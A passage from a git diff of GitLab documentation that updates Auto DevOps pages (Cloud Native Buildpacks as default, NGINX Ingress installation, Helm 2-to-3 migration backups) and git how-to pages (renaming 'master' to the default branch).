flag](../../user/clusters/applications.md#web-application-firewall-modsecurity) to toggle [ModSecurity's `SecRuleEngine`](https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-(v2.x)#SecRuleEngine) behavior. Defaults to `DetectionOnly`. | -| `BUILDPACK_URL` | Buildpack's full URL. Can point to either [a Git repository URL or a tarball URL](#custom-buildpacks). | +| `BUILDPACK_URL` | Buildpack's full URL. [Must point to a URL supported by Pack or Herokuish](#custom-buildpacks). | | `CANARY_ENABLED` | From GitLab 11.0, used to define a [deploy policy for canary environments](#deploy-policy-for-canary-environments). | | `CANARY_PRODUCTION_REPLICAS` | Number of canary replicas to deploy for [Canary Deployments](../../user/project/canary_deployments.md) in the production environment. Takes precedence over `CANARY_REPLICAS`. Defaults to 1. | | `CANARY_REPLICAS` | Number of canary replicas to deploy for [Canary Deployments](../../user/project/canary_deployments.md). Defaults to 1. | @@ -411,7 +441,8 @@ The following table lists variables used to disable jobs. | `license_scanning` | `LICENSE_MANAGEMENT_DISABLED` | [From GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22773) | If the variable is present, the job isn't created. | | `load_performance` | `LOAD_PERFORMANCE_DISABLED` | From GitLab 13.2 | If the variable is present, the job isn't created. | | `nodejs-scan-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. | -| `performance` | `PERFORMANCE_DISABLED` | From GitLab 11.0 | Browser performance. If the variable is present, the job isn't created. | +| `performance` | `PERFORMANCE_DISABLED` | GitLab 11.0 to GitLab 13.12 | Browser performance. If the variable is present, the job isn't created. Replaced by `browser_peformance`. | +| `browser_performance` | `BROWSER_PERFORMANCE_DISABLED` | From GitLab 14.0 | Browser performance. If the variable is present, the job isn't created. Replaces `performance`. | | `phpcs-security-audit-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. | | `pmd-apex-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. | | `retire-js-dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | | If the variable is present, the job isn't created. | diff --git a/doc/topics/autodevops/index.md b/doc/topics/autodevops/index.md index 03454649c7e..f2ce61044ef 100644 --- a/doc/topics/autodevops/index.md +++ b/doc/topics/autodevops/index.md @@ -264,7 +264,7 @@ When using Auto DevOps, you can deploy different environments to different Kubernetes clusters, due to the 1:1 connection [existing between them](../../user/project/clusters/index.md#multiple-kubernetes-clusters). -The [Deploy Job template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml) +The [Deploy Job template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml) used by Auto DevOps currently defines 3 environment names: - `review/` (every environment starting with `review/`) @@ -286,14 +286,14 @@ The following table is an example of how to configure the three different cluste To add a different cluster for each environment: -1. Navigate to your project's **Operations > Kubernetes**. +1. Navigate to your project's **Infrastructure > Kubernetes clusters**. 1. Create the Kubernetes clusters with their respective environment scope, as described from the table above. -1. After creating the clusters, navigate to each cluster and install - Ingress. Wait for the Ingress IP address to be assigned. +1. After creating the clusters, navigate to each cluster and [install + Ingress](quick_start_guide.md#install-ingress). Wait for the Ingress IP address to be assigned. 1. Make sure you've [configured your DNS](#auto-devops-base-domain) with the specified Auto DevOps domains. -1. Navigate to each cluster's page, through **Operations > Kubernetes**, +1. Navigate to each cluster's page, through **Infrastructure > Kubernetes clusters**, and add the domain based on its Ingress IP address. After completing configuration, you can test your setup by creating a merge request diff --git a/doc/topics/autodevops/quick_start_guide.md b/doc/topics/autodevops/quick_start_guide.md index 631180f696c..448e9526b88 100644 --- a/doc/topics/autodevops/quick_start_guide.md +++ b/doc/topics/autodevops/quick_start_guide.md @@ -63,7 +63,8 @@ to deploy this project to. ## Create a Kubernetes cluster from within GitLab 1. On your project's landing page, click **Add Kubernetes cluster** - (note that this option is also available when you navigate to **Operations > Kubernetes**). + (note that this option is also available when you navigate to + **Infrastructure > Kubernetes clusters**).  @@ -106,7 +107,8 @@ status on your [GCP dashboard](https://console.cloud.google.com/kubernetes). After your cluster is running, you must install NGINX Ingress Controller as a load balancer, to route traffic from the internet to your application. Because you've created a Google GKE cluster in this guide, you can install NGINX Ingress Controller -with Google Cloud Shell: +through the GitLab [Cluster management project template](../../user/clusters/management_project_template.md), +or manually with Google Cloud Shell: 1. Go to your cluster's details page, and click the **Advanced Settings** tab. 1. Click the link to Google Kubernetes Engine to visit the cluster on Google Cloud Console. @@ -114,21 +116,28 @@ with Google Cloud Shell: 1. After the Cloud Shell starts, run these commands to install NGINX Ingress Controller: ```shell - helm repo add nginx-stable https://helm.nginx.com/stable + kubectl create ns gitlab-managed-apps + helm repo add stable https://charts.helm.sh/stable helm repo update - helm install nginx-ingress nginx-stable/nginx-ingress + helm install ingress stable/nginx-ingress -n gitlab-managed-apps # Check that the ingress controller is installed successfully - kubectl get service nginx-ingress-nginx-ingress + kubectl get service ingress-nginx-ingress-controller -n gitlab-managed-apps ``` -1. A few minutes after you install NGINX, the load balancer obtains an IP address, and you can - get the external IP address with this command: +## Configure your base domain + +Follow these steps to configure the Base Domain where your apps will be accessible. +1. A few minutes after you install NGINX, the load balancer obtains an IP address, and you can + get the external IP address with the following command: + ```shell - kubectl get service nginx-ingress-nginx-ingress -ojson | jq -r '.status.loadBalancer.ingress[].ip' + kubectl get service ingress-nginx-ingress-controller -n gitlab-managed-apps -ojson | jq -r '.status.loadBalancer.ingress[].ip' ``` + Replace `gitlab-managed-apps` if you have overwritten your namespace. + Copy this IP address, as you need it in the next step. 1. Go back to the cluster page on GitLab, and go to the **Details** tab. @@ -186,7 +195,7 @@ The jobs are separated into stages: - Jobs suffixed with `-sast` run static analysis on the current code to check for potential security issues, and are allowed to fail ([Auto SAST](stages.md#auto-sast)) **(ULTIMATE)** - The `secret-detection` job checks for leaked secrets and is allowed to fail ([Auto Secret Detection](stages.md#auto-secret-detection)) **(ULTIMATE)** - - The `license_management` job searches the application's dependencies to determine each of their + - The `license_scanning` job searches the application's dependencies to determine each of their licenses and is allowed to fail ([Auto License Compliance](stages.md#auto-license-compliance)) **(ULTIMATE)** @@ -208,7 +217,7 @@ to monitor it. After successfully deploying your application, you can view its website and check on its health on the **Environments** page by navigating to -**Operations > Environments**. This page displays details about +**Deployments > Environments**. This page displays details about the deployed applications, and the right-hand column displays icons that link you to common environment tasks: @@ -308,6 +317,5 @@ and customized to fit your workflow. Here are some helpful resources for further 1. [Multiple Kubernetes clusters](index.md#using-multiple-kubernetes-clusters) 1. [Incremental rollout to production](customize.md#incremental-rollout-to-production) **(PREMIUM)** 1. [Disable jobs you don't need with CI/CD variables](customize.md#cicd-variables) -1. [Use a static IP for your cluster](../../user/clusters/applications.md#using-a-static-ip) 1. [Use your own buildpacks to build your application](customize.md#custom-buildpacks) 1. [Prometheus monitoring](../../user/project/integrations/prometheus.md) diff --git a/doc/topics/autodevops/requirements.md b/doc/topics/autodevops/requirements.md index 8fb16511e34..7e59ecb4916 100644 --- a/doc/topics/autodevops/requirements.md +++ b/doc/topics/autodevops/requirements.md @@ -26,23 +26,26 @@ To make full use of Auto DevOps with Kubernetes, you need: [new cluster using the GitLab UI](../../user/project/clusters/add_remove_clusters.md#create-new-cluster). For Kubernetes 1.16+ clusters, you must perform additional configuration for [Auto Deploy for Kubernetes 1.16+](stages.md#kubernetes-116). - 1. NGINX Ingress. You can deploy it to your Kubernetes cluster by installing - the [GitLab-managed app for Ingress](../../user/clusters/applications.md#ingress), - after configuring the GitLab integration with Kubernetes in the previous step. - - Alternatively, you can use the - [`nginx-ingress`](https://github.com/helm/charts/tree/master/stable/nginx-ingress) - Helm chart to install Ingress manually. + 1. For external HTTP traffic, an Ingress controller is required. For regular + deployments, any Ingress controller should work, but as of GitLab 14.0, + [canary deployments](../../user/project/canary_deployments.md) require + NGINX Ingress. You can deploy the NGINX Ingress controller to your + Kubernetes cluster either through the GitLab [Cluster management project template](../../user/clusters/management_project_template.md) + or manually by using the [`ingress-nginx`](https://github.com/kubernetes/ingress-nginx/tree/master/charts/ingress-nginx) + Helm chart. NOTE: - If you use your own Ingress instead of the one provided by GitLab Managed - Apps, ensure you're running at least version 0.9.0 of NGINX Ingress and - [enable Prometheus metrics](https://github.com/helm/charts/tree/master/stable/nginx-ingress#prometheus-metrics) - for the response metrics to appear. You must also + For metrics to appear when using the [Prometheus cluster integration](../../user/clusters/integrations.md#prometheus-cluster-integration), you must [enable Prometheus metrics](https://github.com/kubernetes/ingress-nginx/tree/master/charts/ingress-nginx#prometheus-metrics). + + When deploying [using custom charts](customize.md#custom-helm-chart), you must also [annotate](https://kubernetes.io/docs/concepts/overview/working-with-objects/annotations/) - the NGINX Ingress deployment to be scraped by Prometheus using + the Ingress manifest to be scraped by Prometheus using `prometheus.io/scrape: "true"` and `prometheus.io/port: "10254"`. + NOTE: + If your cluster is installed on bare metal, see + [Auto DevOps Requirements for bare metal](#auto-devops-requirements-for-bare-metal). + - **Base domain** (for [Auto Review Apps](stages.md#auto-review-apps), [Auto Deploy](stages.md#auto-deploy), and [Auto Monitoring](stages.md#auto-monitoring)) @@ -61,42 +64,34 @@ To make full use of Auto DevOps with Kubernetes, you need: You can configure Docker-based runners to autoscale as well, using [Docker Machine](https://docs.gitlab.com/runner/install/autoscaling.html). - If you've configured the GitLab integration with Kubernetes in the first step, you - can deploy it to your cluster by installing the - [GitLab-managed app for GitLab Runner](../../user/clusters/applications.md#gitlab-runner). - - Runners should be registered as [shared runners](../../ci/runners/README.md#shared-runners) - for the entire GitLab instance, or [specific runners](../../ci/runners/README.md#specific-runners) - that are assigned to specific projects (the default if you've installed the - GitLab Runner managed application). + Runners should be registered as [shared runners](../../ci/runners/runners_scope.md#shared-runners) + for the entire GitLab instance, or [specific runners](../../ci/runners/runners_scope.md#specific-runners) + that are assigned to specific projects. - **Prometheus** (for [Auto Monitoring](stages.md#auto-monitoring)) To enable Auto Monitoring, you need Prometheus installed either inside or outside your cluster, and configured to scrape your Kubernetes cluster. - If you've configured the GitLab integration with Kubernetes, you can deploy it to - your cluster by installing the - [GitLab-managed app for Prometheus](../../user/clusters/applications.md#prometheus). + If you've configured the GitLab integration with Kubernetes, you can + instruct GitLab to query an in-cluster Prometheus by enabling + the [Prometheus cluster integration](../../user/clusters/integrations.md#prometheus-cluster-integration). - The [Prometheus service](../../user/project/integrations/prometheus.md) - integration must be enabled for the project, or enabled as a - [default service template](../../user/project/integrations/services_templates.md) - for the entire GitLab installation. + The [Prometheus integration](../../user/project/integrations/prometheus.md) + integration must be activated for the project, or activated at the group or instance level. + Learn more about [Project integration management](../../user/admin_area/settings/project_integration_management.md). To get response metrics (in addition to system metrics), you must [configure Prometheus to monitor NGINX](../../user/project/integrations/prometheus_library/nginx_ingress.md#configuring-nginx-ingress-monitoring). - **cert-manager** (optional, for TLS/HTTPS) - To enable HTTPS endpoints for your application, you must install cert-manager, + To enable HTTPS endpoints for your application, you can [install cert-manager](https://cert-manager.io/docs/installation/kubernetes/), a native Kubernetes certificate management controller that helps with issuing certificates. Installing cert-manager on your cluster issues a [Let's Encrypt](https://letsencrypt.org/) certificate and ensures the - certificates are valid and up-to-date. If you've configured the GitLab integration - with Kubernetes, you can deploy it to your cluster by installing the - [GitLab-managed app for cert-manager](../../user/clusters/applications.md#cert-manager). + certificates are valid and up-to-date. -If you don't have Kubernetes or Prometheus installed, then +If you don't have Kubernetes or Prometheus configured, then [Auto Review Apps](stages.md#auto-review-apps), [Auto Deploy](stages.md#auto-deploy), and [Auto Monitoring](stages.md#auto-monitoring) are skipped. @@ -124,9 +119,6 @@ When you trigger a pipeline, if you have Auto DevOps enabled and if you have cor [entered AWS credentials as variables](../../ci/cloud_deployment/index.md#deploy-your-application-to-the-aws-elastic-container-service-ecs), your application is deployed to AWS ECS. -[GitLab Managed Apps](../../user/clusters/applications.md) are not available when deploying to AWS ECS. -You must manually configure your application (such as Ingress or Help) on AWS ECS. - If you have both a valid `AUTO_DEVOPS_PLATFORM_TARGET` variable and a Kubernetes cluster tied to your project, only the deployment to Kubernetes runs. @@ -149,3 +141,18 @@ specific CI/CD variable. For more details, see [Custom build job for Auto DevOps](../../ci/cloud_deployment/index.md#custom-build-job-for-auto-devops) for deployments to AWS EC2. + +## Auto DevOps requirements for bare metal + +According to the [Kubernetes Ingress-NGINX docs](https://kubernetes.github.io/ingress-nginx/deploy/baremetal/): + +> In traditional cloud environments, where network load balancers are available on-demand, +a single Kubernetes manifest suffices to provide a single point of contact to the NGINX Ingress +controller to external clients and, indirectly, to any application running inside the cluster. +Bare-metal environments lack this commodity, requiring a slightly different setup to offer the +same kind of access to external consumers. + +The docs linked above explain the issue and present possible solutions, for example: + +- Through [MetalLB](https://github.com/metallb/metallb). +- Through [PorterLB](https://github.com/kubesphere/porterlb). diff --git a/doc/topics/autodevops/stages.md b/doc/topics/autodevops/stages.md index 66b37f30bbc..d3f217d3749 100644 --- a/doc/topics/autodevops/stages.md +++ b/doc/topics/autodevops/stages.md @@ -33,15 +33,24 @@ your own `Dockerfile`, you must either: - Override the default values by [customizing the Auto Deploy Helm chart](customize.md#custom-helm-chart). -### Auto Build using Heroku buildpacks +### Auto Build using Cloud Native Buildpacks + +> - Introduced in [GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28165). +> - Auto Build using Cloud Native Buildpacks by default was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63351) in GitLab 14.0. Auto Build builds an application using a project's `Dockerfile` if present. If no -`Dockerfile` is present, it uses [Herokuish](https://github.com/gliderlabs/herokuish) -and [Heroku buildpacks](https://devcenter.heroku.com/articles/buildpacks) -to detect and build the application into a Docker image. +`Dockerfile` is present, Auto Build builds your application using +[Cloud Native Buildpacks](https://buildpacks.io) to detect and build the +application into a Docker image. The feature uses the +[`pack` command](https://github.com/buildpacks/pack). +The default [builder](https://buildpacks.io/docs/concepts/components/builder/) +is `heroku/buildpacks:18` but a different builder can be selected using +the CI/CD variable `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER`. Each buildpack requires your project's repository to contain certain files for -Auto Build to build your application successfully. For example, your application's +Auto Build to build your application successfully. The structure is +specific to the builder and buildpacks you have selected. +For example, when using the Heroku's builder (the default), your application's root directory must contain the appropriate file for your application's language: @@ -52,39 +61,38 @@ For the requirements of other languages and frameworks, read the [Heroku buildpacks documentation](https://devcenter.heroku.com/articles/buildpacks#officially-supported-buildpacks). NOTE: -If Auto Build fails despite the project meeting the buildpack requirements, set -a project CI/CD variable `TRACE=true` to enable verbose logging, which may help you -troubleshoot. +Auto Test still uses Herokuish, as test suite detection is not +yet part of the Cloud Native Buildpack specification. For more information, see +[this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/212689). -### Auto Build using Cloud Native Buildpacks (beta) +### Auto Build using Herokuish -> Introduced in [GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28165). +> [Replaced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63351) with Cloud Native Buildpacks in GitLab 14.0. -Auto Build supports building your application using [Cloud Native Buildpacks](https://buildpacks.io) -through the [`pack` command](https://github.com/buildpacks/pack). To use Cloud Native Buildpacks, -set the CI/CD variable `AUTO_DEVOPS_BUILD_IMAGE_CNB_ENABLED` to a non-empty -value. The default builder is `heroku/buildpacks:18` but a different builder -can be selected using the CI/CD variable `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER`. +Prior to GitLab 14.0, [Herokuish](https://github.com/gliderlabs/herokuish) was +the default build method for projects without a `Dockerfile`. Herokuish can +still be used by setting the CI/CD variable `AUTO_DEVOPS_BUILD_IMAGE_CNB_ENABLED` +to `false`. -Cloud Native Buildpacks (CNBs) are an evolution of Heroku buildpacks, and -GitLab expects them to eventually supersede Herokuish-based builds within Auto DevOps. For more -information, see [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/212692). +NOTE: +If Auto Build fails despite the project meeting the buildpack requirements, set +a project CI/CD variable `TRACE=true` to enable verbose logging, which may help you +troubleshoot. + +### Moving from Herokuish to Cloud Native Buildpacks Builds using Cloud Native Buildpacks support the same options as builds using -Heroku buildpacks, with the following caveats: +Herokuish, with the following caveats: - The buildpack must be a Cloud Native Buildpack. A Heroku buildpack can be converted to a Cloud Native Buildpack using Heroku's [`cnb-shim`](https://github.com/heroku/cnb-shim). -- `BUILDPACK_URL` must be in a form +- `BUILDPACK_URL` must be in a format [supported by `pack`](https://buildpacks.io/docs/app-developer-guide/specific-buildpacks/). -- The `/bin/herokuish` command is not present in the resulting image, and prefixing +- The `/bin/herokuish` command is not present in the built image, and prefixing commands with `/bin/herokuish procfile exec` is no longer required (nor possible). - -NOTE: -Auto Test still uses Herokuish, as test suite detection is not -yet part of the Cloud Native Buildpack specification. For more information, see -[this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/212689). + Instead, custom commands should be prefixed with `/cnb/lifecycle/launcher` + to receive the correct execution environment. ## Auto Test @@ -208,9 +216,9 @@ documentation. ## Auto Container Scanning **(ULTIMATE)** -Vulnerability Static Analysis for containers uses either [Clair](https://github.com/quay/clair) -or [Trivy](https://aquasecurity.github.io/trivy/latest/) to check for potential security issues in -Docker images. The Auto Container Scanning stage is skipped on licenses other than [Ultimate](https://about.gitlab.com/pricing/). +Vulnerability static analysis for containers uses [Trivy](https://aquasecurity.github.io/trivy/latest/) +to check for potential security issues in Docker images. The Auto Container Scanning stage is +skipped on licenses other than [Ultimate](https://about.gitlab.com/pricing/). After creating the report, it's uploaded as an artifact which you can later download and check out. The merge request displays any detected security issues. @@ -349,7 +357,7 @@ project ID, such as `project-4321`. Auto Deploy does not include deployments to staging or canary environments by default, but the -[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) +[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) contains job definitions for these tasks if you want to enable them. You can use [CI/CD variables](customize.md#cicd-variables) to automatically @@ -461,15 +469,16 @@ If present, `DB_MIGRATE` is run as a shell command within an application pod as a Helm pre-upgrade hook. For example, in a Rails application in an image built with -[Herokuish](https://github.com/gliderlabs/herokuish): +[Cloud Native Buildpacks](#auto-build-using-cloud-native-buildpacks): -- `DB_INITIALIZE` can be set to `RAILS_ENV=production /bin/herokuish procfile exec bin/rails db:setup` -- `DB_MIGRATE` can be set to `RAILS_ENV=production /bin/herokuish procfile exec bin/rails db:migrate` +- `DB_INITIALIZE` can be set to `RAILS_ENV=production /cnb/lifecycle/launcher bin/rails db:setup` +- `DB_MIGRATE` can be set to `RAILS_ENV=production /cnb/lifecycle/launcher bin/rails db:migrate` Unless your repository contains a `Dockerfile`, your image is built with -Herokuish, and you must prefix commands run in these images with -`/bin/herokuish procfile exec` (for Herokuish) or `/cnb/lifecycle/launcher` -(for Cloud Native Buildpacks) to replicate the environment where your +Cloud Native Buildpacks, and you must prefix commands run in these images with +`/cnb/lifecycle/launcher`, (or `/bin/herokuish procfile exec` when +using [Herokuish](#auto-build-using-herokuish)) +to replicate the environment where your application runs. ### Upgrade auto-deploy-app Chart @@ -508,14 +517,10 @@ workers: sidekiq: replicaCount: 1 command: - - /bin/herokuish - - procfile - - exec + - /cnb/lifecycle/launcher - sidekiq preStopCommand: - - /bin/herokuish - - procfile - - exec + - /cnb/lifecycle/launcher - sidekiqctl - quiet terminationGracePeriodSeconds: 60 @@ -645,42 +650,6 @@ ciliumNetworkPolicy: For more information on installing Network Policies, see [Install Cilium using GitLab CI/CD](../../user/clusters/applications.md#install-cilium-using-gitlab-cicd). -### Web Application Firewall (ModSecurity) customization - -> [Introduced](https://gitlab.com/gitlab-org/charts/auto-deploy-app/-/merge_requests/44) in GitLab 12.8. - -Customization on an [Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/) -or on a deployment base is available for clusters with -[ModSecurity installed](../../user/clusters/applications.md#web-application-firewall-modsecurity). - -To enable ModSecurity with Auto Deploy, you must create a `.gitlab/auto-deploy-values.yaml` -file in your project with the following attributes. - -|Attribute | Description | Default | ------------|-------------|---------| -|`enabled` | Enables custom configuration for ModSecurity, defaulting to the [Core Rule Set](https://coreruleset.org/) | `false` | -|`secRuleEngine` | Configures the [rules engine](https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-(v2.x)#secruleengine) | `DetectionOnly` | -|`secRules` | Creates one or more additional [rule](https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-(v2.x)#SecRule) | `nil` | - -In the following `auto-deploy-values.yaml` example, some custom settings -are enabled for ModSecurity. Those include setting its engine to -process rules instead of only logging them, while adding two specific -header-based rules: - -```yaml -ingress: - modSecurity: - enabled: true - secRuleEngine: "On" - secRules: - - variable: "REQUEST_HEADERS:User-Agent" - operator: "printer" - action: "log,deny,id:'2010',status:403,msg:'printer is an invalid agent'" - - variable: "REQUEST_HEADERS:Content-Type" - operator: "text/plain" - action: "log,deny,id:'2011',status:403,msg:'Text is not supported as content type'" -``` - ### Running commands in the container Applications built with [Auto Build](#auto-build) using Herokuish, the default @@ -723,11 +692,6 @@ The metrics include: - **Response Metrics:** latency, throughput, error rate - **System Metrics:** CPU utilization, memory utilization -GitLab provides some initial alerts for you after you install Prometheus: - -- Ingress status code `500` > 0.1% -- NGINX status code `500` > 0.1% - To use Auto Monitoring: 1. [Install and configure the Auto DevOps requirements](requirements.md). diff --git a/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md b/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md index 0dabb80204a..62dc061aba6 100644 --- a/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md +++ b/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md @@ -100,9 +100,15 @@ If your Auto DevOps project has an active environment that was deployed with the MIGRATE_HELM_2TO3: "true" .auto-deploy: - image: registry.gitlab.com/gitlab-org/cluster-integration/auto-deploy-image:v2.0.0-beta.1 + # Optional: If you are on GitLab 13.12 or older, pin the auto-deploy-image + # image: registry.gitlab.com/gitlab-org/cluster-integration/auto-deploy-image:v2.6.0 variables: AUTO_DEVOPS_FORCE_DEPLOY_V2: 1 + # If you have non-public pipelines, you can back up the entire namespace in a job artifact + # prior to the migration by setting the CI variable BACKUP_NAMESPACE to a non-empty value. + # WARNING: If you have public pipelines, this artifact will be public and can + # expose your secrets. + # BACKUP_HELM2_RELEASES: 1 ``` 1. Run the `<environment-name>:helm-2to3:migrate` job. @@ -110,10 +116,16 @@ If your Auto DevOps project has an active environment that was deployed with the 1. If the deployment succeeds, you can safely run `environment:helm-2to3:cleanup`. This deletes all Helm 2 release data from the namespace. - If you accidentally delete the Helm 2 releases before you are ready, the `<environment-name>:helm2to3:migrate` + If you set `BACKUP_HELM2_RELEASES` to a non-empty value, the `<environment-name>:helm2to3:migrate` job saves a backup for 1 week in a job artifact called `helm-2-release-backups`. - The backup is in a Kubernetes manifest file that can be restored using + If you accidentally delete the Helm 2 releases before you are ready, then + this backup is in a Kubernetes manifest file that can be restored using `kubectl apply -f $backup`. + + **WARNING:** + This artifact can contain secrets and is visible to any + user who can see your job. + 1. Remove the `MIGRATE_HELM_2TO3` CI/CD variable. #### In-Cluster PostgreSQL Channel 2 @@ -164,6 +176,8 @@ include: - remote: https://gitlab.com/gitlab-org/gitlab/-/raw/v13.3.0-ee/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml ``` +Alternatively, you can use the [v13.12 Auto DevOps templates archive](https://gitlab.com/hfyngvason/auto-devops-v13-12). + ### Ignore warnings and continue deploying If you are certain that the new chart version is safe to be deployed, you can add diff --git a/doc/topics/build_your_application.md b/doc/topics/build_your_application.md new file mode 100644 index 00000000000..d084ecec435 --- /dev/null +++ b/doc/topics/build_your_application.md @@ -0,0 +1,16 @@ +--- +stage: +group: +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Build your application **(FREE)** + +Add your source code to a repository, create merge requests to check in +code, and use CI/CD to generate your application. Include packages in your app and output it to a variety of environments. + +- [Repositories](../user/project/repository/index.md) +- [Merge requests](../user/project/merge_requests/index.md) +- [CI/CD](../ci/README.md) +- [Packages & Registries](../user/packages/index.md) +- [Application infrastructure](../user/project/clusters/index.md) diff --git a/doc/topics/git/bisect.md b/doc/topics/git/bisect.md index 8af77031c93..e587a51ba17 100644 --- a/doc/topics/git/bisect.md +++ b/doc/topics/git/bisect.md @@ -1,11 +1,11 @@ --- -stage: none -group: unassigned +stage: Create +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- -# Bisect +# Bisect **(FREE)** - Find a commit that introduced a bug - Works through a process of elimination diff --git a/doc/topics/git/cherry_picking.md b/doc/topics/git/cherry_picking.md index 5a0867371bb..4a875e25e1b 100644 --- a/doc/topics/git/cherry_picking.md +++ b/doc/topics/git/cherry_picking.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w comments: false --- -# Cherry Pick +# Cherry pick **(FREE)** Given an existing commit on one branch, apply the change to another branch. diff --git a/doc/topics/git/feature_branch_development.md b/doc/topics/git/feature_branch_development.md index 8d18441aadd..ae1485741a5 100644 --- a/doc/topics/git/feature_branch_development.md +++ b/doc/topics/git/feature_branch_development.md @@ -9,7 +9,7 @@ type: how-tos GitLab values encourage the use of [Minimal Viable Change (MVC)](https://about.gitlab.com/handbook/values/#minimal-viable-change-mvc). However, viable changes are not always small. In such cases, it can help to set up a dedicated feature branch. -People can contribute MRs to that feature branch, without affecting the functionality of the default (usually `master`) branch. +People can contribute MRs to that feature branch, without affecting the functionality of the [default branch](../../user/project/repository/branches/default.md). Once work on the development branch is complete, then the feature branch can be finally merged into the default branch. @@ -19,14 +19,14 @@ GitLab frequently implements this process whenever there is an MVC that requires This section describes the use case with GitLab [release posts](https://about.gitlab.com/handbook/marketing/blog/release-posts/). Dozens of GitLab team members contribute to each monthly release post. -In such cases, it may be more efficient to submit an MR on the release post feature branch instead of master. +In such cases, it may be more efficient to submit an MR on the release post feature branch instead of the [default branch](../../user/project/repository/branches/default.md). In this case, the feature branch would be `release-X-Y`. Assuming the `release-X-Y` branch already exists, you can set up an MR against that branch, with the following steps: -1. Navigate to the main (master) branch: +1. Navigate to the [default branch](../../user/project/repository/branches/default.md) (here, `main`): ```shell - git checkout master + git checkout main ``` 1. Make sure you have the latest version of your repository: @@ -101,8 +101,8 @@ we have selected `test-branch` as the source, and `release-13-0` as the target. Request to merge test-branch into release-13-0 ``` - That confirms you've set up the MR to merge into the specified branch, not master. + That confirms you've set up the MR to merge into the specified branch, not the [default branch](../../user/project/repository/branches/default.md). 1. Proceed with the change as you would with any other MR. 1. When your MR is approved, and an appropriate user merges that MR, you can rest assured that your work is incorporated directly into the feature branch. -When the feature branch is ready, it can then be merged into master. +When the feature branch is ready, it can then be merged into the [default branch](../../user/project/repository/branches/default.md). diff --git a/doc/topics/git/feature_branching.md b/doc/topics/git/feature_branching.md index f6233bddb18..f0ded5511ee 100644 --- a/doc/topics/git/feature_branching.md +++ b/doc/topics/git/feature_branching.md @@ -1,11 +1,11 @@ --- -stage: none -group: unassigned +stage: Create +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- -# Feature branching +# Feature branching **(FREE)** - Efficient parallel workflow for teams - Develop each feature in a branch diff --git a/doc/topics/git/getting_started.md b/doc/topics/git/getting_started.md index 2c3d5fe15de..7e04eae622f 100644 --- a/doc/topics/git/getting_started.md +++ b/doc/topics/git/getting_started.md @@ -1,11 +1,11 @@ --- -stage: none -group: unassigned +stage: Create +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- -# Getting Started +# Getting started **(FREE)** ## Instantiating Repositories diff --git a/doc/topics/git/git_add.md b/doc/topics/git/git_add.md index d136b9151bc..e15a1e9a60d 100644 --- a/doc/topics/git/git_add.md +++ b/doc/topics/git/git_add.md @@ -1,11 +1,11 @@ --- -stage: none -group: unassigned +stage: Create +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- -# Git Add +# Git Add **(FREE)** Adds content to the index or staging area. diff --git a/doc/topics/git/git_log.md b/doc/topics/git/git_log.md index ae4ae69ce76..3988d7f7ac9 100644 --- a/doc/topics/git/git_log.md +++ b/doc/topics/git/git_log.md @@ -1,11 +1,11 @@ --- -stage: none -group: unassigned +stage: Create +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- -# Git Log +# Git Log **(FREE)** Git log lists commit history. It allows searching and filtering. diff --git a/doc/topics/git/git_rebase.md b/doc/topics/git/git_rebase.md index 78303d24a20..8844d362c10 100644 --- a/doc/topics/git/git_rebase.md +++ b/doc/topics/git/git_rebase.md @@ -32,7 +32,7 @@ consider pulling it instead (`git pull origin master`). It has a similar effect without compromising the work of your contributors. It's safer to back up your branch before rebasing to make sure you don't lose -any changes. For example, consider a [feature branch](../../gitlab-basics/start-using-git.md#branching) +any changes. For example, consider a [feature branch](../../gitlab-basics/start-using-git.md#branches) called `my-feature-branch`: 1. Open your feature branch in the terminal: @@ -80,12 +80,13 @@ ensure that the changes you're adding to the codebase do not break any existing changes added to the target branch _after_ you created your feature branch. -For example, to update your branch `my-feature-branch` with `master`: +For example, to update your branch `my-feature-branch` with your +[default 